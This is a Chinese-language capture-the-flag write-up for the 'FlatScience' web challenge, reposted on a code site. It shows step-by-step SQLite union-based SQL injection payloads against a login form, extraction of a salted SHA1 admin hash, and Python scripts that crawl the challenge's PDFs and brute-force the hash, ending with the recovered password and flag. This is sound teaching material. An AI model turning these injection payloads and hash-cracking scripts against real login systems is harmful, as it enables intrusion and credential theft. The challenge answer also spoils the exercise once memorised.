攻防世界-web:FlatScience


題目描述

題目截圖

解題過程

查看robots.txt


存在login.php,admin.php

dirsearch


訪問login.php

查看源代碼,發現提示信息

將?debug傳遞url,訪問發現源代碼

此時我們可以構造參數閉合sql語句

sql注入

sql:admin'--+
提交后發現沒有報錯,直接跳轉到了主頁面。
我們審查一下源代碼:

發現這段代碼是執行成功查詢后,將查詢結果保存在了cookie的name變量里了。
我們查看一下cookie

似乎並沒有什么用啊
我們繼續嘗試sql注入
sql:admin' order by 1 --+

成功跳轉

sql:admin' order by 2 --+
成功跳轉

sql:admin' order by 3 --+

發現報錯了,可以判斷數據表有兩列。
嘗試union注入,注意用不存在的用戶名進行注入,這里用admin1
sql:admin1' union select 1,2 --+

成功跳轉,sql執行成功。
我們前面已經判斷,sql會將結果存儲在cookie的name里。所以我們查看cookie里name值。

結果為+2
也就是說我們前面sql:admin1' union select 1,2 --+ 里的2可以當作顯示位。
我們嘗試查看數據庫名
我們知道我平時注入的一般為mysql數據庫,當前數據庫為SQLite3,它們的數據庫結構肯定有所不同,常用函數也肯定有差異,所以這個時候需要去百度一下SQLite3如何去注入。

查看版本函數:sqlite_version()
我們去查看一下數據庫版本
sql:admin1' union select 1,sqlite_version() --+

數據庫版本為3.8.10.2

嘗試獲取表名
存儲數據庫信息的數據庫(mysql的information_schema):sqlite_master
字段:name #表名
字段:sql #表結構,表的字段信息都在里面,初始化數據表的sql語句
sql:admin1' union select 1,name from sqlite_master limit 0,1 --+

數據表:users
sql:admin1' union select 1,sql from sqlite_master limit 0,1 --+

發現無結果,不知道啥原因。
sql:admin1' union select 1,sql from sqlite_master limit 1,1 --+

成功取出結果,具體什么原因,可能是不同數據庫不了解。
我們將結果進行url解碼。
CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))
可以看出數據表Users 存在 id name password hint,四個字段,這個里面我們先看看hint字段。
sql:admin1' union select 1,hint from Users limit 0,1 --+
得到:my fav word in my fav paper?!
sql:admin1' union select 1,hint from Users limit 1,1 --+
得到:my love is…?
sql:admin1' union select 1,hint from Users limit 2,1 --+
得到:the password is password
取password
sql:admin1' union select 1,password from Users where name='admin' limit 0,1 --+

得到admin的password的sha1值為:3fab54a50e770d830c0416df817567662a9dc85c
這道題做到這里就不知到怎么繼續了...
查看他人的解題,思路大概是這樣的,admin賬戶的密碼為一個單詞,這個單詞就在網站的某個pdf文件里,登錄進去就能拿到flag。

所以解題思路來了

解題思路

1.爬取所有的pdf文件
2.提取所有pdf文件的單詞
3.將單詞進行加鹽的sha1加密
4.與數據庫中admin的sha1密碼進行匹配
5.拿到密碼登錄admin系統

開始解題

爬取PDF文件

我不會自動爬取所有pdf文件,但是可以半自動爬取。
找出所有存在pdf的頁面為:
http://124.126.19.106:30116/1/index.html
http://124.126.19.106:30116/1/2/index.html
http://124.126.19.106:30116/1/3/index.html
http://124.126.19.106:30116/1/3/6/index.html
http://124.126.19.106:30116/1/3/7/index.html
http://124.126.19.106:30116/1/2/4/index.html
http://124.126.19.106:30116/1/2/5/index.html
http://124.126.19.106:30116/1/3/7/8/index.html

python代碼:

#coding:utf8
import requests
import re
import time


pdflist = []
urllist = ['http://124.126.19.106:30116/1/index.html','http://124.126.19.106:30116/1/2/index.html','http://124.126.19.106:30116/1/3/index.html','http://124.126.19.106:30116/1/3/6/index.html','http://124.126.19.106:30116/1/3/7/index.html','http://124.126.19.106:30116/1/2/4/index.html','http://124.126.19.106:30116/1/2/5/index.html','http://124.126.19.106:30116/1/3/7/8/index.html']
def gethtml(url):
	return requests.get(url).text

def getpdf(part,data):
	list = re.findall('href="(.+?)"',data)
	for i in list:
		if 'pdf' in i:
			pdflist.append(part+i)
def downfile(name,url):
	data = requests.get(url).content
	f    = open(name,'wb')
	f.write(data)
	f.close()
	print url,'\t','DOWN OK!'
name = 0
for url in urllist:
	part = url.replace('index.html','')
	getpdf(part,gethtml(url))
	time.sleep(0.3)
for i in pdflist:
	downfile(str(name)+'.pdf',i)
	time.sleep(0.3)
	name+=1
print 'ok'

執行python下載pdf文件

PDF轉TXT

接下來就是提取pdf里的文本信息了,我在網上找了一個pdf轉txt的工具:pdftotext.exe,這個工具可以通過命令行把pdf轉txt文件,由於文件相對較多,可以通過python多線程來執行,當然也可以直接手動轉換。

zhuan.py
#coding:utf8
import os
import time
import threading


def thread(cmd):
	os.system(cmd)

tsk=[]
for i in range(0,32):
	filename = str(i)+'.pdf'
	cmd = "pdftotext.exe %s"%(filename)
	t = threading.Thread(target=thread,args=(cmd,)) 
	tsk.append(t) 
for t in tsk:
	t.start()

運行時需要腳本下載好的pdf文件、pdftotext.exe在同一目錄下。

提取單詞爆破密碼

po.py

#coding:utf8
import hashlib
import base64
def tiqu(filename):
	f = open(filename,'r')
	d = f.read()
	f.close()
	k = d.split(' ')
	n = []
	for i in k:
		i = i.replace(' ','')
		if i!='':
			n.append(i)
	return n

def sha(word):
	hexstr = hashlib.sha1(word+'Salz!').hexdigest()
	if '3fab54a50e770d830c0416df817567662a9dc85c' == hexstr:
		print '***********',word,'***********'
		exit()

for i in range(0,32):
	n = tiqu(str(i)+'.txt')
	for k in n:
		sha(k)
		print '--','\t',base64.b64encode(k)

運行時需跟生成的txt文件在同一目錄

爆破密碼為:ThinJerboa

在admin.php里登錄

得到flag:flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

總結

這個題難度挺大,很繁瑣,對人員的編程能力有着極大的挑戰。遇到這種題,不應該全部都用代碼來解決,能手動處理的應該手動處理,有些功能自己不會python的可以到網上找替代工具,再利用簡單的python代碼同樣可以實現牛逼的功能。就是把大問題切割成小問題,然后一步步解決。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM